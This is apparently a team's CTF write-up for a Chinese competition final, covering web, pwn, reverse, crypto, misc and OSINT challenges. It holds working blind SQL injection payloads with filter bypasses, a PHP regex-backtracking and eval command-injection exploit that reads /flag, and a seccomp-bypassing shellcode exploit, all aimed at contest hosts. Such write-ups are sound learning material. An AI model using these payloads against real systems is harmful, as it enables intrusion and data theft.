第三届鲲鹏杯决赛

阳光摆烂大男孩

Solves


个人情况(右上角PROFILE,所有队员均要贴出):

@hey

@wulala

@抓到一只梗

WEB

CrazyLogin

此时因为在注册窗口并没有限制不让注册admin;所以此时我们直接注册admin用户;然后直接登入即可获得flag

ezsql@hey

判断注入类型

经过万能密码的尝试发现只存在登入失败和成功两种结果,所以此时我们考虑到的是盲注

测试过滤点

此时经过测试发现空格%20orinformation_schema都无法使用,此时我们可以利用/**/来代替空格||来代替or大小写来代替
information_schema

准备密码本

加入A-Z、a-z、0-9和常见字符

爆库

1
username=admin&password=admin'||/**/mid(database(),1,1)=/**/'§§'#


按照次方法可以爆出库名为ctf

爆表

1
username=admin&password=admin'||/**/mid((select/**/TABLE_NAME/**/from/**/infoRmation_schema.TABLES/**/where/**/TABLE_SCHEMA/**/=/**/database()/**/limit/**/0,1/**/),1,1)/**/=/**/'§§'#


得到表名为user

爆列

1
username=admin&password=admin'||/**/mid((select/**/COLUMN_NAME/**/from/**/infoRmation_schema.COLUMNS/**/where/**/TABLE_NAME='users'/**/and/**/TABLE_SCHEMA/**/=/**/database()/**/limit/**/0,1/**/),1,1)/**/=/**/'§§'#

此时可以得出列名idusernamepassword

爆数据

1
username=admin&password=admin'||/**/mid((select/**/username/**/from/**/ctf.users/**/limit/**/0,1),1,1)/**/=/**/'§§'#


此时可以得出tanjiflag;这个时候想到了之前打的litctf里面有一道没有任何过滤的sql注入题目;这个时候我们可以找找看发现结合hint的话这
题的数据库是和那题一样的数据库,那么此时我们可以尝试直接爆破flag,看看本题的表名和列名是否和litctf一样

爆flag

1
username=admin&password=admin'/**/||/**/mid((select/**/flag/**/from/**/ctftraining.flag/**/limit/**/0,1),1,1)/**/=/**/'§§'#


flag{7df6f261-aa4e-47f8-82c6-a488d02d5e03}

CrazyLogin_Revenge@hey

信息收集

此时在源码界面发现电话号码联系我们 : 13333333333;然后发现有一个通过手机号注册的功能,这时候翻看源码

源码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
from flask import Flask, render_template, request, redirect, url_for, session
import random
import os
# 获取当前文件所在的目录

app = Flask(__name__, root_path=os.path.dirname(os.path.abspath(__file__)))
app.secret_key = '****************'
# 假设这里有一个用户数据库,用于存储用户数据
#users = {'***********': {'name': '*********', 'password': '***********************'}}
#随便设置了个密码

# 注册页面
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
# 获取表单数据
name = request.form['name']
phone = request.form['phone']
password = request.form['password']

# 过滤输入数据

if '{' in name:
return '非法输入'
if 'admin' == name:
return '修了'
if '{' in phone:
return '非法输入'
if '{' in password:
return '非法输入'

# 检查用户是否已经存在
if phone in users:
return '该手机号码已经注册,请登录或使用其他手机号码注册。'

# 将用户数据保存到数据库
users[phone] = {
'name': name,
'password': password
}
print(users)
# 重定向到登录页面
return redirect(url_for('login'))

# 显示注册页面
return render_template('register.html')


# 发送短信验证码
@app.route('/send_code', methods=['POST'])
def send_code():
# 获取手机号码
phone = request.form['phone']

# 生成随机验证码
code = random.randint(1000, 9999)

# 将验证码保存到会话中

session['code'] = code
print(code)
# 发送短信验证码的代码

# 返回响应
return 'OK'


# 手机短信验证码登录
@app.route('/login_with_code', methods=['GET', 'POST'])
def login_with_code():
if request.method == 'POST':
# 获取表单数据
phone = request.form['phone']
code = request.form['code']

if not str(code).isdigit() or len(str(code)) != 4:
return '非法输入'
# 检查验证码是否正确
if str(code) != str(session['code']):
return '验证码错误'

# 检查用户是否存在
if phone not in users:
return '用户不存在'

# 将用户数据保存到会话中
session['user'] = users[phone]

# 重定向到首页
return redirect(url_for('index'))

# 显示手机号登录页面
return render_template('login_with_code.html')


# 密码登录
@app.route('/login_with_password', methods=['GET', 'POST'])
def login_with_password():
if request.method == 'POST':
# 获取表单数据
phone = request.form['phone']
password = request.form['password']

# 检查用户是否存在
if phone not in users:
return '用户不存在'

# 检查密码是否正确
if password != users[phone]['password']:
return '密码错误'

# 将用户数据保存到会话中
session['user'] = users[phone]

# 重定向到首页
return redirect(url_for('index'))

# 显示密码登录页面
return render_template('login_with_password.html')


# 首页
@app.route('/')
def index():
# 检查用户是否登录
if 'user' not in session:
return redirect(url_for('login'))

# 获取当前用户
user = session['user']

# 如果当前用户是 admin,显示读取 flag 的按钮
if user['name'] == 'admin':
flag_button = '<button onclick="location.href=\'/flag\'">查看 Flag</button>'
else:
flag_button = '只有 admin 才能看 Flag'

# 显示首页
return render_template('index.html', user=user, flag_button=flag_button)


# 登录页面
@app.route('/login')
def login():
# 显示登录页面
return render_template('login.html')


# 退出登录
@app.route('/logout')
def logout():
# 删除会话中的用户数据
session.pop('user', None)

# 重定向到登录页面
return redirect(url_for('login'))

# 显示 flag
@app.route('/flag')
def show_flag():
# 获取当前用户
user = session.get('user', {})

# 如果当前用户不是 admin,返回提示信息
if user.get('name') != 'admin':
return '只有 admin 才能看 Flag'

# 读取 flag.txt 文件
with open('flag.txt', 'r') as f:
flag = f.read()
flag = os.environ['FLAG']
# 显示 flag
return flag


此时我们发现每次用户请求发送验证码时,都会使用random.randint(1000, 9999)生成一个新的随机四位数验证码;此时存在一个逻辑漏洞:就是这
个验证码它只会在你点击发送的时候随机生成,也就是说你点击发送之后生成的验证码是静态验证码可以通过爆破的形式得到验证码

登入后把这个session拿去替换一下就可以获得flag了

ezpass@hey

信息收集

hint:源码+base64;此时我们定位到

MjFheDJ4X2twY3RmLnBocA经过base64解码得21ax2x_kpctf.php

源码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
 <?php
highlight_file(__FILE__);
//flag在根目录哦
error_reporting(0);
function FilterInput($input){
$filtered=preg_replace('/[^0-9\s]/','',$input);
$filtered=ltrim($filtered,'0');
if (empty($filtered)){
$filtered='0';
}
return $filtered;
}
if(isset($_GET['number'])){
$num=FilterInput($_GET['number']);
echo $num;
if ($num==="20230923"){
die("welcome to kpctf_cup,enjoy");
}
if (intval($num,0)===20230923){
echo "next level";
if(isset($_POST['flower'])){
$flower=$_POST['flower'];
if(preg_match('/.+?shianer/i',$flower)){
print('???Are you kidding');
exit();
}
if(stripos($flower,'hhhshianer')===FALSE||stripos($flower,'hhhshianer')===null){
die('nonono,again');
}else {
echo "easy bypass";

$len = isset($_POST['cat_cat'])?$_POST['cat_cat']=&$_GET['cat_cat']:'cat_cat';
if (strpos($_SERVER['QUERY_STRING'], 'cat_cat') !==false) {
echo 'mouse is defficult';
exit();
}
elseif ((string)$len>0) {
echo 'nononono,to big';
exit();
}
elseif ($len<1000000000000000000000) {
echo 'nononono,too small';
exit();
}
else{
echo "Nice. Come to catch the mouse";
if (isset($_GET["flag"])) {
$flag = $_GET["flag"];
if (!preg_match("/f|a|cat|tac|g|more|shell_exec|assert|eval|popen|exec|system|\'|\*|ls|passthru|file_get_contents|readfile|show_source|include|include_once|require|require_once|highlight_file/i", $flag)) {
eval($flag);
} else {
echo "nonononono`~";
}
}

}

}

}

}
}

绕过FilterInput()和intval()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function FilterInput($input){
$filtered=preg_replace('/[^0-9\s]/','',$input);
$filtered=ltrim($filtered,'0');
if (empty($filtered)){
$filtered='0';
}
return $filtered;
}
if(isset($_GET['number'])){
$num=FilterInput($_GET['number']);
echo $num;
if ($num==="20230923"){
die("welcome to kpctf_cup,enjoy");
}
if (intval($num,0)===20230923){
echo "next level";

输入非数字和空格的话会被替换为空,那这里进制转换用不了了但是使用intval()函数将带有空格的字符串转换为整数时,首先会自动忽略字符串开头
和结尾的空格,然后将剩下的内容进行转换。此时直接使用 20230923来绕过

PHP利用PCRE回溯次数限制绕过

1
2
3
4
5
6
7
8
9
10
11
if(isset($_POST['flower'])){
$flower=$_POST['flower'];
if(preg_match('/.+?shianer/i',$flower)){
print('???Are you kidding');
exit();
}
if(stripos($flower,'hhhshianer')===FALSE||stripos($flower,'hhhshianer')===null)
{
die('nonono,again');
}else {
echo "easy bypass";

看了一眼,应该是正则回溯绕过,我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。p牛讲解过,这里直接上脚本了

exp

1
2
3
4
5
import requests
payload = "a"*(1000000) + 'hhhshianer'
response = requests.post("http://47.122.60.49:20084/21ax2x_kpctf.php?number=%2020230923", data={"flower":payload})
content = response.text
print(content)

.[转换_绕过检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$len = isset($_POST['cat_cat'])?$_POST['cat_cat']=&$_GET['cat_cat']:'cat_cat';
if (strpos($_SERVER['QUERY_STRING'], 'cat_cat') !==false) {
echo 'mouse is defficult';
exit();
}
elseif ((string)$len>0) {
echo 'nononono,to big';
exit();
}
elseif ($len<1000000000000000000000) {
echo 'nononono,too small';
exit();
}
else{
echo "Nice. Come to catch the mouse";

先是需要传入 cat_cat 但是if (strpos($_SERVER['QUERY_STRING'], 'cat_cat') !==false)这里又不检测到参数cat_cat,但是php我们都知
道参数中.[什么的会转换为_,测试表示这里就直接传入cat.cat 就可以绕过这个检测然后就是后面的代码,传入的参数要小于
1000000000000000000000,用数组绕过;string后要大于零,任意字符串即可。

绕过

1
2
get:cat.cat[]=a
post:cat.cat=a

反引号+匹配字符

1
2
3
4
5
6
7
8
if (isset($_GET["flag"])) {
$flag = $_GET["flag"];
if (!preg_match("/f|a|cat|tac|g|more|shell_exec|assert|eval|popen|exec|system|\'|\*|ls|passthru|file_get_contents|readfile|show_source|include|include_once|require|require_once|highlight_file/i", $flag)) {
eval($flag);
} else {
echo "nonononono`~";
}
}

对一些命令进行了过滤,但是echo没有过滤;我们直接

1
echo `dir /`

此时在根目录发现flag;过滤了cat more tac等常规的读取函数,flag差不多也过滤了;[9-q]linux里可以用[9-q]这种形式匹配ascii码在9到
q之间的字符,自然cat /[9-q][9-q][9-q][9-q]就等效于cat /flag了;nl 是可以为输出列加上编号,与cat的区别就是前面多了个编号;所以这
关的payload如下

1
flag=echo `nl /[9-q][9-q][9-q][9-q]`

exp

1
2
3
4
5
import requests
payload = "a"*(1000000) + 'hhhshianer'
response=requests.post("http://47.122.60.49:20084/21ax2x_kpctf.php?number= 20230923&cat.cat[]=a&flag=echo`nl /[9-q][9-q][9-q][9-q]`;", data={"flower":payload,"cat.cat":"a"})
content=response.text
print(content)

PWN

time will tell you@wulala

拿到附件,先查保护,保护全开。

保护全开。
ida打开附件,大概内容是输入字符串kokodayo,经过sandbox后,程序留跳转到kokodayo。

sandbox是一个沙箱,38号和22号。seccomp-tools查一下沙箱。

禁用了write,open,execve,execveat.
open系统调用实际上是调用了openat, read,write系统调用也同样是调用了readv,和writev。
所以直接orw就行
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch = 'amd64', os = 'linux')
#io=process('./a')
io=remote('47.122.60.49',20027)
context.log_level = 'debug'
elf = ELF('a')
shellcode = ''
shellcode += shellcraft.openat(0,'/flag')
shellcode += shellcraft.readv(3,0x10110,1)
shellcode += shellcraft.writev(1,0x10110,1)
payload = asm(shellcode).ljust(0x100, b'\x00')+b'/flag\x00'.ljust(16, b'\x00')+ flat(0x10200, 0x100)
print(payload)
io.sendline(payload)
io.interactive()


##我是非预期解出的,询问出题人得知,原本是想把write,writev,pwritev,pwritev2全部禁用,让flag打印不出来,不过writev漏了,所以省了侧信道爆破字符的过程。##

REVERSE

简单明了的源码lv1@wulala

看源码,main函数执行后跳转到e这个函数e这个函数里面有四个过程,大概内容是
输入字符串后
1.将字符串前五位与flag{比较,不相同跳转到d()
if c[:5].encode().hex() != '{0}{0}{0}c{0}1{0}{2}{2}b'.format(*map(str, [6, 4, 7])): d() #flag{
2.将字符串最后一位与}比较,不相同跳转到d()
if c[int(chr(45) + chr(49))] != chr(125): d() #}
3.将字符串第六位和倒数第二位与斐波那契数列进行异或,与目标字符串(f)进行比较,不相同跳转到d()
g = c[5:-1].encode() if bytes((g[i] ^ (a(i) & 0xff) for i in range(len(g)))) != f: d()

所以现在只需要写一个脚本将f与斐波那契数列进行异或,将得到的字符串与flag{}拼接,就能拿到flag.
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
int main()
{
unsigned char i123[] = {
2,1,3,4,7,11,18,29,47,76,123,199,66,9,75,84,159,243,146,133,23,156,179,79,2,81,83,164,247,155,146,45
};
unsigned char i321[] = {
'3','&', '`','[','u','j','{','i','J',0x13,0x1d,0xa2,'.','h','"','3',0xfa,0xac,0xe5,0xe0,'~',0xf9,0xc1,'$','g', '?',0x0c,0xd0,0x82,0xc4,0xc0,'h'
};
int i;
for (i = 0; i < 32; i++)
{
i123[i] ^= i321[i];
printf("%c", i123[i]);
}
}

FlagCheck@wulala


打开附件,看不懂java,将红框的这两个类拿去拷打ai.直接得到exp.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def decStr(enc_str, row):
alphaBet = "qwertyuiopasdfghjklzxcvbnm"
initAlphaBet = alphaBet
alphaBet = setAlphaBet(alphaBet, row)
dec_str = ""
for i in range(len(enc_str) // 2):
char_hex = enc_str[i * 2: (i + 1) * 2]
char_dec = int(char_hex, 16) ^ 0x76
if chr(char_dec).islower():
char_index = alphaBet.index(chr(char_dec))
dec_str += chr(char_index + 97)
elif chr(char_dec).isupper():
char_index = alphaBet.index(chr(char_dec).lower())
dec_str += chr(char_index + 65)
else:
dec_str += chr(char_dec)
return dec_str[::-1]

def setAlphaBet(alphaBet, row):
if alphaBet and len(alphaBet) > row:
alphaBet = alphaBet[row:] + alphaBet[:row]
return alphaBet

enc_str = "0b0542353e413229223e363e29180429110046121545030d1c17151e"
row = 114514
dec_str = decStr(enc_str, row)
print(dec_str)


代码运行后得到一串字符串,看起来像凯撒密码,试了一下果然是。

简单明了的源码lv2@wulala

这题折磨了好久,在苦苦挣扎2小时后灵光一现…

附件里面有一个flag.py,flag.txt和makeflag的pyc文件,makeflag的魔法头完整 ,直接拉入pycdc反编译,得到makeflag.py

大概意思是生成一个uuid4字符串和flag{}拼接,然后获取当前时间为随机种子,将字符串随机打乱100次,再写入flag.txt中。所以附件中的flag.txt就是flag被打乱后的结果。
uuid4是完全随机的,没有办法入手,但是时间种子可以从pyc文件中拿到,pyc文件前4字节是magichead,第8字节到第12字节是时间戳,记录了文件的创建和写入时间。

所以直接将系统时间改到文件创建时间的同一时刻,得到的随机种子便是相同的。

将系统改到2023.9.10 17:30:59后,运行flag.py,拿到被同样时间种子打乱的不同uuid4字符串。(右上为我的uuid4码,左上为我的被打乱的uuid4码,左下为题目给的被打乱的uuid4码)

冒泡排序,将我的打乱uuid4码冒泡排序成未被打乱的。并按照相同的冒泡顺序来整理题目所给的被打乱的uuid4码,提交flag后错误了,反应过来我的uuid4码中有多个相同的字符,所以我的uuid4排序完成后,题目的uuid4按照我这个顺序来排序并不能真正做到排序。
想了很久,我排序出问题的原因是因为uuid4生成的字符串中会有相同的字符,所以只需要手动输入一个与生成字符串长度相同并且没有重复字符的字符串与flag{}拼接,就能完美还原打乱100次前的状态。

修改makeflag.py,将uuid4换成了a[]=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ。运行flag.py.
左上为flag{a}被打乱的结果,右上为flag{a},左下为题目的uuid4被打乱的结果,把左下根据每个字符串一一对应的位置还原,得到右下的flag.

CRYPTO

袁神,启动@抓到一只梗


看到题目,第一反应就是两个有规律的文字,联想到0和1二进制编码转换和培根密码,试了一下培根不行,于是转化成0和1进行转文本处理。

转出来果然有东西。GsxozPPoSfNQTxuZMvMdpCY80vuQpmDcdUPGh6i0kjYUWhUkFri
这个东西一眼base,不过试了很多网站都解不出来,就卡在了这里,后来还是继续试,终于在一个靠谱的网站上解密出来了

1
7=28L~FC08c|60`D0+9b?8+96?8#:$92}8:?8N

对照assci码表发现是凯撒移位,于是写了个脚本,但是却发现存在不可见字符,脚本出不来,于是又卡住了。到后来,愚蠢的我想起了rot47,这也是凯撒移位的一种……..
于是找在线网站,得出flag{Our_g4Me_1s_Zh3ngZhengRiShaNging}

Babyrsa@抓到一只梗

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import *
from gmpy2 import *
n = 9969498194992497990292678435112549431632439700645065087011657984620761929354566397690697771794054613051407271799924261884096522184533886468319128108255590560029572931602445445640442276976464337404526135755711507814030407188043496238249082413179221020228476476448864505089672038742184350551161174446779952873718791393676025732373842631670522025541702100792847633257948621810610642773996115330195183166722330820843160147388587464788590556727865710697481666688146798323441039984186464187859047098460172896007577152011228865597458072196986177650474106800474287824403559992071093739826671358194279726556730107925320085193
e = 65535
c =9383000917458347004319355024361431659151199017178613875386529521033374516361659309641120767467587946530464031916430542413123322210731113525273255069347019870843979735721312081618661980508083505243649366916164870501091853333662924092894967497668823130566615911994713159765227851320003800940382060808582626568322122767569262353723494356292932873056070415440391961646209987278773296011152293353998490001840161898250416886381931134293389504673141458595577867955107625275049436430704815370123882042254713547699082003617189609172065356870972161224893185036526634251565226386442617734865104455292401045789120473375737440863
p = gcd(c,n)
q = n // p
phi = (p-1)*(q-1)

print(gcd(e,phi))
print(gcd(e,q-1))

a = c * inverse(pow(p*e*2023,e,q),q)
d = invert(e // 3 ,q-1)
m1 = pow(a,d,q)
print(iroot(m1,3))
m = iroot(m1,3)[0]
print(long_to_bytes(m))

加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os
from Crypto.Util.number import *

Welcome = """ _ ______ ____ _____ _____
| |/ / _ \ / ___|_ _| ___|
| ' /| |_) | | | | | |_
| . \| __/| |___ | | | _|
|_|\_\_| \____| |_| |_| """

flag = bytes(os.getenv('FLAG'),'utf-8')

if __name__ == "__main__":
print(Welcome)
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65535
mm = m * p * e * 2023
c = pow(mm, e, n)
print('n =',n)
print('e =',e)
print('c =',c)

加密原理就是引用了一个中间量mm,但是经过观察发现,c和n存在一个共同的因子p,于是求出最大公因子就是p,
已知p的情况下自然就可以求出q,但是这个时候还不能直接带入解密,因为e和phi并不互素,但是发现e和q-1虽然不互素,但是最大公因子为3,于是就可以采用开方来做。由于c=pow(m,e,q)*pow(p*e*2023,e,q)mod q
所以可以得到一个a = pow(m,e,q)
利用这个脚本就可以得出flag

flag

flag{266617b7-4054-4471-94c1-ab936dae8ffc}

参考文章

参考文章https://blog.csdn.net/luochen2436/article/details/125581091

MISC

where is flag@hey

此时发现是mms的流量,筛选mms导出分组解析为json格式

查看功能码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import json
from collections import Counter
j = json.load(open("D:/mms.json", encoding="utf-8"))
request = []
Response =[]
for i in j:
try:
key = i['_source']['layers']['mms']['mms.confirmed_RequestPDU_element']['mms.confirmedServiceRequest']
request.append(key)
except:
pass
for i in j:
try:
key1 = i['_source']['layers']['mms']['mms.confirmed_ResponsePDU_element']['mms.confirmedServiceResponse']
Response.append(key1)
except:
pass

print("Request:")
print(Counter(request))
print("Response:")
print(Counter(Response))

得到结果

1
2
3
4
Request:
Counter({'4': 20, '71': 4, '19': 1, '20': 1, '5': 1})
Response:
Counter({'4': 20, '71': 4, '19': 1, '20': 1, '5': 1})


此时根据功能码判断,found==5十分可疑,所以我们直接在流量包里面进行过滤

1
mms.confirmedServiceRequest ==5

解码

此时发现可疑字符串666h61677g3064793164653264737i

此时我们知道flag的十六进制为666c6167;此时感觉像是凯撒密码

此时在将十六进制转为ascii码可得flag{0dy1de2ds}

原神,启动!@hey

此时拿到了一张提瓦特(Teyvat)文字

接下来我们按照密码本进行解密

得到garment retreat wall blue loud field thunder other basic place puzzle lobster
使用这12个助记符登入之后我们拿到了我的钱包的地址0x57F1b45c28eDaC71d0A9Ffb54B7d8d2733E8d599接下来在交易记录中都没有找到;此时我们
都试试,多点点,发现了在网络的选择里面我们选择测试网络即可发现大师的地址0x7A4E485C3dF0c4766582021c8162D176677C8fE6

使用全球最大的比特币交易网站也可以找到

flag{0x7A4E485C3dF0c4766582021c8162D176677C8fE6}

OSINT

打码但是等于没打@hey


直接用手机扫描

然后按照

对应上表得航班号,上这个网站查航班号fu6555;https://pgs.fuzhou-air.cn/frontend/passengerService/onlinecheckin/flightDynamic.action;因为码上的信息020P047C0081的020代表这一年的第二十天,所以日期是01-20不是02-07
得到flag{FU6555_2000-01-20-06:35})

快乐假期@wulala

Q1:www.t3sec.org.com_梁厝站 比赛是铁三,导航从会场到可以直达森林公园的站点知道是梁厝站
Q2:象峰站_132路 f口出去就是车站,符合条件的只有象峰站,到北门的公交车132路
Q3:三盛国际公园_新厝站 坐两站,符合条件的是三盛国际公园 导航得知新厝站

这里的午餐还不错@抓到一只梗

根据图片看出奎元广场这几个字,于是上高德地图搜索,得到信息可能是在附近,一开始试了奎元广场发现不行,于是看地图发现还有一个人民广场…..试了一下人民广场的地址,还真是。Flag{广东省潮州市湘桥区枫春路}

问卷